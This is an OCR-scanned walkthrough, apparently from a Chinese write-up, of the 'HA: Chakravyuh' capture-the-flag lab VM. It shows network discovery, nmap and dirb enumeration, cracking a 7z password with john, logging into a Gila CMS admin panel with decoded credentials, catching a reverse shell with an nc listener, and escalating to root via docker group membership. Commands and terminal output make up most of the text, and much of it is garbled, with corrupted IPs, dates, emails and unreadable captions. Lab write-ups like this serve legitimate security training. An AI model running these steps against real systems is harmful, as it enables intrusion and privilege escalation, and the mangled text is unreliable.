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74> netdiscover -i eth0 (-i/& 35 & W M)

KT EBZE NP 4192.168.131.129
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o] jOker@ShadowRanger: ~ Q = o0 e
Currently scanning: 192.168.118.0/16 | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 3 hosts. Total size: 240

IP At MAC Address Count Len MAC Vendor / Hostname
| 192.168.131.129 00:9c:29:0c:co:00 2 1206 VMware, Inc.
192.168.131.2 PD:50:56:fa:31:al 1 6@ VMware, Inc.
102.168.131.254 00:50:56:f8:f5:b2 1 60 VMware, Inc.
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fir4: nmap -A -p- 192.168.131.129 (-ARZipZi &34, -p-=Z i34 i 1)

o] jOker@ShadowRanger: ~ Q
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Starting Nmap 7.91 ( https://nmap.org ) at 2021-94-30 @0:01 CST
Nmap scan report for 192.168.131.129
Host is up (0.0017s latency).
Mot shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu@.3 (Ubuntu Linux; protocol
2.0)

ssh-hostkey:
2048 c6:54:93:eB:1c:aa:f7:5f:d0:7d:6e:2e:df:ec:88:69 (RSA)
256 d4:b4:2e:96:4e:f7:f6:b7:83:a8:ef:06:6c:80:1d:25 (ECDSA)
_ 256 66:d0:5b:93:56:¢c5:7a:2e:60:90:c4:4e:4F:18:5a:bd (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
_http-server-header: Apache/2.4.29 (Ubuntu)
_http-title: HA: Chakravyuh

65530/tcp open ftp vsftpd 3.0.3
ftp-anon: Anonymous FTP login allowed (FTP code 230)
_drwxr-xr-x 2 ftp ftp 4096 Oct 27 2019 pub
ftp-syst:
STAT:

FTP server status:
Connected to ::ffff:102.168,131.128
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
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( joker® shadowRanger)-[~]
,—_s dirb http://192.168.131.129 130 x

DIRB v2.22
By The Dark Raver

START_TIME: Fri Apr 30 00:42:53 2021
URL_BASE: http://192.168.131.129/
WORDLIST_FILES: /usr/share/dirb/wordlists/commen.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.131.129/ —---

+ http://192.168.131.129/index.html (CODE:200|SIZE:983)
==> DIRECTORY: http://192.168.131.129/javascript/

==> DIRECTORY: http://192.168.131.129/phpmyadmin/

+ http://192.168.131.129/server-status (CODE:403|SIZE:280)

---- Entering directory: http://192.168.131.129/javascript/ ----
==> DIRECTORY: http://192.168.131.129/javascript/jquery/

---- Entering directory: http://192.168.131.129/phpmyadmin/ ----

==> DIRECTORY: http://192.168.131,129/phpmyadmin/doc/

+ http://192.168.131.129/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)
+ http://192.168.131.129/phpmyadmin/index.php (CODE:200@|SIZE:10525)
==> DIRECTORY: http://192.168.131.129/phpmyadmin/js/

+ http://192.168.131.129/phpmyadmin/libraries (CODE:403|SIZE:280)

==> DIRECTORY: http://192.168.131.129/phpmyadmin/locale/

+ http://192.168.131.129/phpmyadmin/phpinfo.php (CODE:200|SIZE:10527)
+ http://192.168.131.129/phpmyadmin/setup (CODE:401|SIZE:462)

==> DIRECTORY: http://192.168.131.129/phpmyadmin/sql/

+ http://192.168.131.129/phpmyadmin/templates (CODE:403|SIZE:280)

==> DIRECTORY: http://192.168.131.129/phpmyadmin/themes/

---- Entering directory: http://192.168.131.129/javascript/jquery/ ----
4 httn: //107 168 121 120/ 3avacerint /inueru/innary (C0NF-200|ST7F 2680780
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4 : python2 7z2john.py arjun.7z > hash

( joker® ShadowRanger)- [~/ i
'—_$ python2 7z2john.py arjun.7z > hash

ZJa FATH johniX A TR il e s 1

4 : john --wordlist=/usr/share/wordlists/rockyou.txt hash

(jeker® ShadowRanger)-[~/sL i |
'—_?p john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES])
No password hashes left to crack (see FAQ)

fr4: john hash --show

‘ ( joker® ShadowRanger )-[~/2 i |
IE‘, john hash --show
iarjun.?z:Family

Get#|#5 1 Nfamily ! 72 K460 )5 & XA 1F

arjun.7z o 00
I3 (A) REB(E) WE(V) FBEhH)

e Br v wEs BB e

Go e v % fuEL): B3/

B v Kb ER gam
| secret.ixt 40FY plaintextdo.. 2019%10828H 0..
1 W5 (40 F77)

WA T



17 0) = [ secret.txt
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i 4: echo “MAbHHNEA” | baseb4 -d

joker® ShadowRanger)-[~/5 M
$

gila:adminggmail.com:princesa
P2 — K 5 B SR

I 117 4 H

gila:zadmin@gmail.com:princesa

)

A=k

fif 195

W
(=

BEAR S IR 5505, T2 [k 2 phpmyadminiz AN T 25 i 8 5

php
WiB{EH phpMyAdmin

) #1045 - Access denied for user

‘admin@gmail.com'@'localhost’ (using password: YES)

i8S - Language

37 - Chinese simplified -

admin@gmail.com

) mysqli real connect(): (HY000/10453): Access
denied for user 'admin@gmail.com'@'localhost’

(using password: YES)
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(joker® ShadowRanger)-[~]
[:; ssh adminggmail.comg192.168.131.129
The authenticity of host '192.168.131.129 (192.168.131.129)' can't be established.
ECDSA key fingerprint is SHA256:kL3JQ03+G52zP8eRA+Y4ogyw56hMnOCvkfITBm7 1Gak.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.131.120' (ECDSA) to the list of known hosts.
adminggmail.comg192.168.131.129"'s password:
Permission denied, please try again.
adminggmail.comg192.168.131.129"'s password:
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fir4: dirb http://192.168.131.129/gila/

L§ dirb http://192.168.131.129/gila/
130 x

DIRE v2.22
By The Dark Raver

START_TIME: Fri Apr 3@ @0:55:37 2021
URL_BASE: http://192.168.131.129/gila/
WORDLIST _FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

--—- Scanning URL: http://192.168.131.129/gila/ ----
+ http://192.168.131.129/gila/0 (CODE:200|SIZE:3891)

+ http://192.168.131.129/gila/01 (CODE:200|SIZE:4141)

+ http://192.168.131.129/gila/1 (CODE:200|SIZE:4141)

+ http://192.168.131.129/gila/1x1 (CODE:200|SIZE:4141)

+ http://192.168.131.129/gila/about (CODE:200|SIZE:3375)
+ http://192.168.131.129/gila/About (CODE:200|SIZE:3361)
+ http://192.168.131.129/gila/admin (CODE:200|SIZE:1591)
+ http://192.168.131.129/gila/api (CODE:200|SIZE:0)

+ http://192.168.131.129/gila/assets (CODE:301|SIZE:335)
+ http://192.168.131.129/gila/author (CODE:200|SIZE:3623)
+ http://192.168.131.129/gila/blog (CODE:200|SIZE:3891)

+ http://192.168.131.129/¢ila/categorv (CODE:200|SIZE:3902)
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LogIn

admin@gmail.com

Show passward

Forgot password?

IhEAN

: A & admin
P There are new updates for your packages available

B3 Content

& Administration

Start Blogging Support GilaCMS

1. Create Categories
2. Edit About Page
3. Create Posts

4. Upload Images

b. Set Basic Settings

Facebook Page
Retweet us!

Give a star on Github
Review on SourceForge
Like at AlternativeTo

Get Help

« Documentation
+ Join Gitter
+ Join Slack
+ Google Groups
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B htaccess

& Dockerfile

B LICENSE

[ app.yamil

O assets

[ COMpPOSEr.json
=] config.default.php
B config.php

B index.php
Olib

G log

B robots.ixt

O sites

O sre

U themes

O tmp
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(joker® ShadowRanger)-[~]
'—_?p nc -lvp 7999

listening on [any] 7999 ...

192.168.131.129: inverse host lookup failed: Unknown host

connect to [192.168.131.128] from (UNKNOWN) [192.168.131.129] 59754

|
BE N YHmK -
whoami
www-data
id

uid=33(www-data) gid=33(www-data) groups=33(www-data),116(docker)

KL E CSE B Tdockerdl i, HHk ] dockerf@ AL

fn4: docker run -v /root:/mnt -i alpine

Z3rootB fR, HEABLALTH

docker run -v /root:/mnt -i alpine
id
uid=@(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(videa)
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!l Congrats you have finished this task !!
Contact us here:
Hacking Articles : https://twitter.com/rajchandel/

Kavish Tyagi : https://twitter.com/Tyagi_kavish_
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